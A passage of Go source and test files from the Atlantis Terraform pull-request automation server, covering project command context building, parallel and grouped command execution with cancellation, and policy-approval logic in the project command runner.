builder := events.NewProjectCommandBuilder( false, // policyChecksSupported &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error cmd := c.Cmd actCtxs, err = builder.BuildPlanCommands(&command.Context{ Log: logger, Scope: scope, }, &cmd) if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) return } Ok(t, err) Equals(t, 1, len(actCtxs)) actCtx := actCtxs[0] Equals(t, c.ExpRepoRelDir, actCtx.RepoRelDir) }) } } ================================================ FILE: server/events/project_command_context_builder.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "path/filepath" "strings" "github.com/google/uuid" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/terraform/tfclient" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" tally "github.com/uber-go/tally/v4" ) func NewProjectCommandContextBuilder(policyCheckEnabled bool, commentBuilder CommentBuilder, scope tally.Scope) ProjectCommandContextBuilder { projectCommandContextBuilder := &DefaultProjectCommandContextBuilder{ CommentBuilder: commentBuilder, } if policyCheckEnabled { return &PolicyCheckProjectCommandContextBuilder{ CommentBuilder: commentBuilder, ProjectCommandContextBuilder: projectCommandContextBuilder, } } return &CommandScopedStatsProjectCommandContextBuilder{ ProjectCommandContextBuilder: projectCommandContextBuilder, ProjectCounter: scope.Counter("projects"), } } type ProjectCommandContextBuilder interface { // BuildProjectContext builds project command contexts for atlantis commands BuildProjectContext( ctx *command.Context, cmdName command.Name, subCmdName string, prjCfg valid.MergedProjectCfg, commentFlags []string, repoDir string, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client, ) []command.ProjectContext } // CommandScopedStatsProjectCommandContextBuilder ensures that project command context contains a scoped stats // object relevant to the command it applies to. type CommandScopedStatsProjectCommandContextBuilder struct { ProjectCommandContextBuilder // Consciously making this global since it gets flushed periodically anyways ProjectCounter tally.Counter } // BuildProjectContext builds the context and injects the appropriate command level scope after the fact. func (cb *CommandScopedStatsProjectCommandContextBuilder) BuildProjectContext( ctx *command.Context, cmdName command.Name, subCmdName string, prjCfg valid.MergedProjectCfg, commentFlags []string, repoDir string, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client, ) (projectCmds []command.ProjectContext) { cb.ProjectCounter.Inc(1) cmds := cb.ProjectCommandContextBuilder.BuildProjectContext( ctx, cmdName, subCmdName, prjCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, terraformClient, ) projectCmds = []command.ProjectContext{} for _, cmd := range cmds { // specifically use the command name in the context instead of the arg // since we can return multiple commands worth of contexts for a given command name arg // to effectively pipeline them. cmd.Scope = cmd.SetProjectScopeTags(cmd.Scope) projectCmds = append(projectCmds, cmd) } return } type DefaultProjectCommandContextBuilder struct { CommentBuilder CommentBuilder } func (cb *DefaultProjectCommandContextBuilder) BuildProjectContext( ctx *command.Context, cmdName command.Name, subName string, prjCfg valid.MergedProjectCfg, commentFlags []string, repoDir string, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client, ) (projectCmds []command.ProjectContext) { ctx.Log.Debug("Building project command context for %s", cmdName) var steps []valid.Step switch cmdName { case command.Plan: steps = prjCfg.Workflow.Plan.Steps case command.Apply: steps = prjCfg.Workflow.Apply.Steps case command.Version: // Setting statically since there will only be one step steps = []valid.Step{{ StepName: "version", }} case command.Import: steps = prjCfg.Workflow.Import.Steps case command.State: switch subName { case "rm": steps = prjCfg.Workflow.StateRm.Steps default: // comment_parser prevent invalid subcommand, so not need to handle this. // if comes here, state_command_runner will respond on PR, so it's enough to do log only. ctx.Log.Err("unknown state subcommand: %s", subName) } } // If TerraformVersion not defined in config file look for a // terraform.require_version block. if prjCfg.TerraformVersion == nil { prjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir)) } projectCmdContext := newProjectCommandContext( ctx, cmdName, subName, cb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod), cb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name), cb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags), prjCfg, steps, prjCfg.PolicySets, escapeArgs(commentFlags), automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, ctx.Scope, ctx.PullRequestStatus, ctx.PullStatus, ctx.TeamAllowlistChecker, ) projectCmds = append(projectCmds, projectCmdContext) return } type PolicyCheckProjectCommandContextBuilder struct { ProjectCommandContextBuilder *DefaultProjectCommandContextBuilder CommentBuilder CommentBuilder } func (cb *PolicyCheckProjectCommandContextBuilder) BuildProjectContext( ctx *command.Context, cmdName command.Name, subCmdName string, prjCfg valid.MergedProjectCfg, commentFlags []string, repoDir string, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail bool, terraformClient tfclient.Client, ) (projectCmds []command.ProjectContext) { if prjCfg.PolicyCheck { ctx.Log.Debug("PolicyChecks are enabled") } else { // PolicyCheck is disabled at repository level ctx.Log.Debug("PolicyChecks are disabled on this repository") } // If TerraformVersion not defined in config file look for a // terraform.require_version block. if prjCfg.TerraformVersion == nil { prjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir)) } projectCmds = cb.ProjectCommandContextBuilder.BuildProjectContext( ctx, cmdName, subCmdName, prjCfg, commentFlags, repoDir, automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, terraformClient, ) if cmdName == command.Plan && prjCfg.PolicyCheck { ctx.Log.Debug("Building project command context for %s", command.PolicyCheck) steps := prjCfg.Workflow.PolicyCheck.Steps projectCmds = append(projectCmds, newProjectCommandContext( ctx, command.PolicyCheck, "", cb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod), cb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name), cb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags), prjCfg, steps, prjCfg.PolicySets, escapeArgs(commentFlags), automerge, parallelApply, parallelPlan, verbose, abortOnExecutionOrderFail, ctx.Scope, ctx.PullRequestStatus, ctx.PullStatus, ctx.TeamAllowlistChecker, )) } return } // newProjectCommandContext is a initializer method that handles constructing the // ProjectCommandContext. func newProjectCommandContext(ctx *command.Context, cmd command.Name, subCommand string, applyCmd string, approvePoliciesCmd string, planCmd string, projCfg valid.MergedProjectCfg, steps []valid.Step, policySets valid.PolicySets, escapedCommentArgs []string, automergeEnabled bool, parallelApplyEnabled bool, parallelPlanEnabled bool, verbose bool, abortOnExecutionOrderFail bool, scope tally.Scope, pullReqStatus models.PullReqStatus, pullStatus *models.PullStatus, teamAllowlistChecker command.TeamAllowlistChecker, ) command.ProjectContext { var projectPlanStatus models.ProjectPlanStatus var projectPolicyStatus []models.PolicySetStatus if ctx.PullStatus != nil { for _, project := range ctx.PullStatus.Projects { // if name is not used, let's match the directory if projCfg.Name == "" && project.RepoRelDir == projCfg.RepoRelDir { projectPlanStatus = project.Status projectPolicyStatus = project.PolicyStatus break } if projCfg.Name != "" && project.ProjectName == projCfg.Name { projectPlanStatus = project.Status projectPolicyStatus = project.PolicyStatus break } } } return command.ProjectContext{ CommandName: cmd, SubCommand: subCommand, ApplyCmd: applyCmd, ApprovePoliciesCmd: approvePoliciesCmd, BaseRepo: ctx.Pull.BaseRepo, EscapedCommentArgs: escapedCommentArgs, AutomergeEnabled: automergeEnabled, DeleteSourceBranchOnMerge: projCfg.DeleteSourceBranchOnMerge, RepoLocksMode: projCfg.RepoLocks.Mode, CustomPolicyCheck: projCfg.CustomPolicyCheck, ParallelApplyEnabled: parallelApplyEnabled, ParallelPlanEnabled: parallelPlanEnabled, ParallelPolicyCheckEnabled: parallelPlanEnabled, DependsOn: projCfg.DependsOn, AutoplanEnabled: projCfg.AutoplanEnabled, Steps: steps, HeadRepo: ctx.HeadRepo, Log: ctx.Log, Scope: scope, ProjectPlanStatus: projectPlanStatus, ProjectPolicyStatus: projectPolicyStatus, Pull: ctx.Pull, ProjectName: projCfg.Name, PlanRequirements: projCfg.PlanRequirements, ApplyRequirements: projCfg.ApplyRequirements, ImportRequirements: projCfg.ImportRequirements, RePlanCmd: planCmd, RepoRelDir: projCfg.RepoRelDir, RepoConfigVersion: projCfg.RepoCfgVersion, TerraformDistribution: projCfg.TerraformDistribution, TerraformVersion: projCfg.TerraformVersion, User: ctx.User, Verbose: verbose, Workspace: projCfg.Workspace, PolicySets: policySets, PolicySetTarget: ctx.PolicySet, ClearPolicyApproval: ctx.ClearPolicyApproval, PullReqStatus: pullReqStatus, PullStatus: pullStatus, JobID: uuid.New().String(), ExecutionOrderGroup: projCfg.ExecutionOrderGroup, AbortOnExecutionOrderFail: abortOnExecutionOrderFail, SilencePRComments: projCfg.SilencePRComments, TeamAllowlistChecker: teamAllowlistChecker, } } func escapeArgs(args []string) []string { var escaped []string for _, arg := range args { var escapedArg strings.Builder for i := range arg { escapedArg.WriteString("\\" + string(arg[i])) } escaped = append(escaped, escapedArg.String()) } return escaped } ================================================ FILE: server/events/project_command_context_builder_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" "github.com/stretchr/testify/assert" ) func TestProjectCommandContextBuilder_PullStatus(t *testing.T) { mockCommentBuilder := mocks.NewMockCommentBuilder() subject := events.DefaultProjectCommandContextBuilder{ CommentBuilder: mockCommentBuilder, } projRepoRelDir := "dir1" projWorkspace := "default" projName := "project1" projCfg := valid.MergedProjectCfg{ RepoRelDir: projRepoRelDir, Workspace: projWorkspace, Name: projName, Workflow: valid.Workflow{ Name: valid.DefaultWorkflowName, Apply: valid.DefaultApplyStage, }, } pullStatus := &models.PullStatus{ Projects: []models.ProjectStatus{}, } commandCtx := &command.Context{ Log: logging.NewNoopLogger(t), PullStatus: pullStatus, } expectedApplyCmt := "Apply Comment" expectedPlanCmt := "Plan Comment" terraformClient := tfclientmocks.NewMockClient() t.Run("with project name defined", func(t *testing.T) { When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, projName, []string{})).ThenReturn(expectedPlanCmt) When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, projName, false, "")).ThenReturn(expectedApplyCmt) pullStatus.Projects = []models.ProjectStatus{ { Status: models.ErroredPolicyCheckStatus, ProjectName: "project1", RepoRelDir: "dir1", }, } result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, false, terraformClient) assert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus) }) t.Run("with no project name defined", func(t *testing.T) { projCfg.Name = "" When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) pullStatus.Projects = []models.ProjectStatus{ { Status: models.ErroredPlanStatus, RepoRelDir: "dir2", }, { Status: models.ErroredPolicyCheckStatus, RepoRelDir: "dir1", }, } result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, false, terraformClient) assert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus) }) t.Run("when ParallelApply is set to true", func(t *testing.T) { projCfg.Name = "Apply Comment" When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) pullStatus.Projects = []models.ProjectStatus{ { Status: models.ErroredPlanStatus, RepoRelDir: "dir2", }, { Status: models.ErroredPolicyCheckStatus, RepoRelDir: "dir1", }, } result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, true, false, false, false, terraformClient) assert.True(t, result[0].ParallelApplyEnabled) assert.False(t, result[0].ParallelPlanEnabled) }) t.Run("when AbortOnExecutionOrderFail is set to true", func(t *testing.T) { projCfg.Name = "Apply Comment" When(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, "", []string{})).ThenReturn(expectedPlanCmt) When(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, "", false, "")).ThenReturn(expectedApplyCmt) pullStatus.Projects = []models.ProjectStatus{ { Status: models.ErroredPlanStatus, RepoRelDir: "dir2", }, { Status: models.ErroredPolicyCheckStatus, RepoRelDir: "dir1", }, } result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, true, terraformClient) assert.True(t, result[0].AbortOnExecutionOrderFail) }) } ================================================ FILE: server/events/project_command_pool_executor.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "sort" "sync" "github.com/remeh/sizedwaitgroup" "github.com/runatlantis/atlantis/server/events/command" ) type prjCmdRunnerFunc func(ctx command.ProjectContext) command.ProjectCommandOutput func RunOneProjectCmd( runnerFunc prjCmdRunnerFunc, cmd command.ProjectContext, ) command.ProjectResult { projectCommandOutput := runnerFunc(cmd) return command.ProjectResult{ ProjectCommandOutput: projectCommandOutput, Command: cmd.CommandName, SubCommand: cmd.SubCommand, RepoRelDir: cmd.RepoRelDir, Workspace: cmd.Workspace, ProjectName: cmd.ProjectName, SilencePRComments: cmd.SilencePRComments, } } func runProjectCmdsParallel( cmds []command.ProjectContext, runnerFunc prjCmdRunnerFunc, poolSize int, ) command.Result { var results []command.ProjectResult mux := &sync.Mutex{} wg := sizedwaitgroup.New(poolSize) for _, pCmd := range cmds { var execute func() wg.Add() execute = func() { defer wg.Done() res := RunOneProjectCmd(runnerFunc, pCmd) mux.Lock() results = append(results, res) mux.Unlock() } go execute() } wg.Wait() return command.Result{ProjectResults: results} } func runProjectCmds( cmds []command.ProjectContext, runnerFunc prjCmdRunnerFunc, ) command.Result { var results []command.ProjectResult for _, pCmd := range cmds { res := RunOneProjectCmd(runnerFunc, pCmd) results = append(results, res) } return command.Result{ProjectResults: results} } func splitByExecutionOrderGroup(cmds []command.ProjectContext) [][]command.ProjectContext { groups := make(map[int][]command.ProjectContext) for _, cmd := range cmds { groups[cmd.ExecutionOrderGroup] = append(groups[cmd.ExecutionOrderGroup], cmd) } var groupKeys []int for k := range groups { groupKeys = append(groupKeys, k) } sort.Ints(groupKeys) var res [][]command.ProjectContext for _, group := range groupKeys { res = append(res, groups[group]) } return res } func runProjectCmdsParallelGroups( ctx *command.Context, cmds []command.ProjectContext, runnerFunc prjCmdRunnerFunc, poolSize int, ) command.Result { var results []command.ProjectResult groups := splitByExecutionOrderGroup(cmds) for _, group := range groups { res := runProjectCmdsParallel(group, runnerFunc, poolSize) results = append(results, res.ProjectResults...) if res.HasErrors() && group[0].AbortOnExecutionOrderFail { ctx.Log.Info("abort on execution order when failed") break } } return command.Result{ProjectResults: results} } func runProjectCmdsWithCancellationTracker( ctx *command.Context, projectCmds []command.ProjectContext, cancellationTracker CancellationTracker, parallelPoolSize int, isParallel bool, runnerFunc prjCmdRunnerFunc, ) command.Result { if isParallel { ctx.Log.Info("Running commands in parallel") } groups := prepareExecutionGroups(projectCmds, isParallel) if cancellationTracker != nil { defer cancellationTracker.Clear(ctx.Pull) } var results []command.ProjectResult for i, group := range groups { if i > 0 && cancellationTracker != nil && cancellationTracker.IsCancelled(ctx.Pull) { ctx.Log.Info("Skipping execution order group %d and all subsequent groups due to cancellation", group[0].ExecutionOrderGroup) results = append(results, createCancelledResults(groups[i:])...) break } groupResult := runGroup(group, runnerFunc, isParallel, parallelPoolSize) results = append(results, groupResult.ProjectResults...) if groupResult.HasErrors() && group[0].AbortOnExecutionOrderFail && isParallel { ctx.Log.Info("abort on execution order when failed") break } } return command.Result{ProjectResults: results} } func prepareExecutionGroups( projectCmds []command.ProjectContext, isParallel bool, ) [][]command.ProjectContext { groups := splitByExecutionOrderGroup(projectCmds) if len(groups) == 1 && !isParallel { return createIndividualCommandGroups(projectCmds) } return groups } func createIndividualCommandGroups(projectCmds []command.ProjectContext) [][]command.ProjectContext { groups := make([][]command.ProjectContext, len(projectCmds)) for i, cmd := range projectCmds { groups[i] = []command.ProjectContext{cmd} } return groups } func createCancelledResults(remainingGroups [][]command.ProjectContext) []command.ProjectResult { var cancelledResults []command.ProjectResult for _, group := range remainingGroups { for _, cmd := range group { cancelledResults = append(cancelledResults, command.ProjectResult{ Command: cmd.CommandName, ProjectCommandOutput: command.ProjectCommandOutput{ Error: fmt.Errorf("operation cancelled"), }, RepoRelDir: cmd.RepoRelDir, Workspace: cmd.Workspace, ProjectName: cmd.ProjectName, }) } } return cancelledResults } func runGroup( group []command.ProjectContext, runnerFunc prjCmdRunnerFunc, isParallel bool, parallelPoolSize int, ) command.Result { if isParallel && len(group) > 1 { return runProjectCmdsParallel(group, runnerFunc, parallelPoolSize) } return runProjectCmds(group, runnerFunc) } ================================================ FILE: server/events/project_command_runner.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "encoding/json" "errors" "fmt" "os" "path/filepath" "regexp" "strings" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/logging" ) const OperationComplete = true // DirNotExistErr is an error caused by the directory not existing. type DirNotExistErr struct { RepoRelDir string } // Error implements the error interface. func (d DirNotExistErr) Error() string { return fmt.Sprintf("dir %q does not exist", d.RepoRelDir) } //go:generate pegomock generate --package mocks -o mocks/mock_lock_url_generator.go LockURLGenerator // LockURLGenerator generates urls to locks. type LockURLGenerator interface { // GenerateLockURL returns the full URL to the lock at lockID. GenerateLockURL(lockID string) string } //go:generate pegomock generate --package mocks -o mocks/mock_step_runner.go StepRunner // StepRunner runs steps. Steps are individual pieces of execution like // `terraform plan`. type StepRunner interface { // Run runs the step. Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_custom_step_runner.go CustomStepRunner // CustomStepRunner runs custom run steps. type CustomStepRunner interface { // Run cmd in path. Run( ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp, ) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_env_step_runner.go EnvStepRunner // EnvStepRunner runs env steps. type EnvStepRunner interface { Run( ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string, ) (string, error) } // MultiEnvStepRunner runs multienv steps. type MultiEnvStepRunner interface { // Run cmd in path. Run( ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, postProcessOutput []valid.PostProcessRunOutputOption, ) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_webhooks_sender.go WebhooksSender // WebhooksSender sends webhook. type WebhooksSender interface { // Send sends the webhook. Send(log logging.SimpleLogging, res webhooks.ApplyResult) error } //go:generate pegomock generate --package mocks -o mocks/mock_project_command_runner.go ProjectCommandRunner type ProjectPlanCommandRunner interface { // Plan runs terraform plan for the project described by ctx. Plan(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectApplyCommandRunner interface { // Apply runs terraform apply for the project described by ctx. Apply(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectPolicyCheckCommandRunner interface { // PolicyCheck runs OPA defined policies for the project described by ctx. PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectApprovePoliciesCommandRunner interface { // Approves any failing OPA policies. ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectVersionCommandRunner interface { // Version runs terraform version for the project described by ctx. Version(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectImportCommandRunner interface { // Import runs terraform import for the project described by ctx. Import(ctx command.ProjectContext) command.ProjectCommandOutput } type ProjectStateCommandRunner interface { // StateRm runs terraform state rm for the project described by ctx. StateRm(ctx command.ProjectContext) command.ProjectCommandOutput } // ProjectCommandRunner runs project commands. A project command is a command // for a specific TF project. type ProjectCommandRunner interface { ProjectPlanCommandRunner ProjectApplyCommandRunner ProjectPolicyCheckCommandRunner ProjectApprovePoliciesCommandRunner ProjectVersionCommandRunner ProjectImportCommandRunner ProjectStateCommandRunner } //go:generate pegomock generate --package mocks -o mocks/mock_job_url_setter.go JobURLSetter type JobURLSetter interface { // SetJobURLWithStatus sets the commit status for the project represented by // ctx and updates the status with and url to a job. SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) error } //go:generate pegomock generate --package mocks -o mocks/mock_job_message_sender.go JobMessageSender type JobMessageSender interface { Send(ctx command.ProjectContext, msg string, operationComplete bool) } // ProjectOutputWrapper is a decorator that creates a new PR status check per project. // The status contains a url that outputs current progress of the terraform plan/apply command. type ProjectOutputWrapper struct { ProjectCommandRunner JobMessageSender JobMessageSender JobURLSetter JobURLSetter } func (p *ProjectOutputWrapper) Plan(ctx command.ProjectContext) command.ProjectCommandOutput { result := p.updateProjectPRStatus(command.Plan, ctx, p.ProjectCommandRunner.Plan) p.JobMessageSender.Send(ctx, "", OperationComplete) return result } func (p *ProjectOutputWrapper) Apply(ctx command.ProjectContext) command.ProjectCommandOutput { result := p.updateProjectPRStatus(command.Apply, ctx, p.ProjectCommandRunner.Apply) p.JobMessageSender.Send(ctx, "", OperationComplete) return result } func (p *ProjectOutputWrapper) updateProjectPRStatus(commandName command.Name, ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectCommandOutput) command.ProjectCommandOutput { // Create a PR status to track project's plan status. The status will // include a link to view the progress of atlantis plan command in real // time if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.PendingCommitStatus, nil); err != nil { ctx.Log.Err("updating project PR status", err) } // ensures we are differentiating between project level command and overall command result := execute(ctx) if result.Error != nil || result.Failure != "" { if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.FailedCommitStatus, &result); err != nil { ctx.Log.Err("updating project PR status", err) } return result } if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.SuccessCommitStatus, &result); err != nil { ctx.Log.Err("updating project PR status", err) } return result } // DefaultProjectCommandRunner implements ProjectCommandRunner. type DefaultProjectCommandRunner struct { VcsClient vcs.Client Locker ProjectLocker LockURLGenerator LockURLGenerator Logger logging.SimpleLogging InitStepRunner StepRunner PlanStepRunner StepRunner ShowStepRunner StepRunner ApplyStepRunner StepRunner CancelStepRunner StepRunner PolicyCheckStepRunner StepRunner VersionStepRunner StepRunner ImportStepRunner StepRunner StateRmStepRunner StepRunner RunStepRunner CustomStepRunner EnvStepRunner EnvStepRunner MultiEnvStepRunner MultiEnvStepRunner PullApprovedChecker runtime.PullApprovedChecker WorkingDir WorkingDir Webhooks WebhooksSender WorkingDirLocker WorkingDirLocker CommandRequirementHandler CommandRequirementHandler CancellationTracker CancellationTracker } // Plan runs terraform plan for the project described by ctx. func (p *DefaultProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput { planSuccess, failure, err := p.doPlan(ctx) return command.ProjectCommandOutput{ PlanSuccess: planSuccess, Error: err, Failure: failure, } } // PolicyCheck evaluates policies defined with Rego for the project described by ctx. func (p *DefaultProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput { policySuccess, failure, err := p.doPolicyCheck(ctx) return command.ProjectCommandOutput{ PolicyCheckResults: policySuccess, Error: err, Failure: failure, } } // Apply runs terraform apply for the project described by ctx. func (p *DefaultProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput { applyOut, failure, err := p.doApply(ctx) return command.ProjectCommandOutput{ Failure: failure, Error: err, ApplySuccess: applyOut, } } func (p *DefaultProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput { approvedOut, failure, err := p.doApprovePolicies(ctx) return command.ProjectCommandOutput{ Failure: failure, Error: err, PolicyCheckResults: approvedOut, } } func (p *DefaultProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectCommandOutput { versionOut, failure, err := p.doVersion(ctx) return command.ProjectCommandOutput{ Failure: failure, Error: err, VersionSuccess: versionOut, } } // Import runs terraform import for the project described by ctx. func (p *DefaultProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput { importSuccess, failure, err := p.doImport(ctx) return command.ProjectCommandOutput{ ImportSuccess: importSuccess, Error: err, Failure: failure, } } // StateRm runs terraform state rm for the project described by ctx. func (p *DefaultProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput { stateRmSuccess, failure, err := p.doStateRm(ctx) return command.ProjectCommandOutput{ StateRmSuccess: stateRmSuccess, Error: err, Failure: failure, } } func (p *DefaultProjectCommandRunner) doApprovePolicies(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) { // Acquire Atlantis lock for this repo/dir/workspace. lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) if err != nil { return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.ApprovePolicies) if err != nil { return nil, "", err } defer unlockFn() teams := []string{} policySetCfg := ctx.PolicySets // Only query the users team membership if any teams have been configured as owners on any policy set(s). if policySetCfg.HasTeamOwners() { // A convenient way to access vcsClient. Not sure if best way. userTeams, err := p.VcsClient.GetTeamNamesForUser(p.Logger, ctx.Pull.BaseRepo, ctx.User) if err != nil { ctx.Log.Err("unable to get team membership for user: %s", err) return nil, "", err } teams = append(teams, userTeams...) } isAdmin := policySetCfg.Owners.IsOwner(ctx.User.Username, teams) var failure string // Run over each policy set for the project and perform appropriate approval. var prjPolicySetResults []models.PolicySetResult var prjErr error allPassed := true for _, policySet := range policySetCfg.PolicySets { isOwner := policySet.Owners.IsOwner(ctx.User.Username, teams) || isAdmin prjPolicyStatus := ctx.ProjectPolicyStatus for i, policyStatus := range prjPolicyStatus { ignorePolicy := false if policySet.Name == policyStatus.PolicySetName { // Policy set either passed or has sufficient approvals. Move on. if policyStatus.Passed || (policyStatus.Approvals == policySet.ApproveCount) { if !ctx.ClearPolicyApproval { ignorePolicy = true } } // Set ignore flag if targeted policy does not match. if ctx.PolicySetTarget != "" && (ctx.PolicySetTarget != policySet.Name) { ignorePolicy = true } // Increment approval if user is owner. if isOwner && !ignorePolicy && (ctx.User.Username != ctx.Pull.Author || !policySet.PreventSelfApprove) { if !ctx.ClearPolicyApproval { prjPolicyStatus[i].Approvals = policyStatus.Approvals + 1 } else { prjPolicyStatus[i].Approvals = 0 } // User matches the author and prevent self approve is set to true } else if isOwner && !ignorePolicy && ctx.User.Username == ctx.Pull.Author && policySet.PreventSelfApprove { prjErr = errors.Join(prjErr, fmt.Errorf("policy set: %s the author of pr %s matches the command commenter user %s - please contact another policy owners to approve failing policies", policySet.Name, ctx.Pull.Author, ctx.User.Username)) // User is not authorized to approve policy set. } else if !ignorePolicy { prjErr = errors.Join(prjErr, fmt.Errorf("policy set: %s user %s is not a policy owner - please contact policy owners to approve failing policies", policySet.Name, ctx.User.Username)) } // Still bubble up this failure, even if policy set is not targeted. if 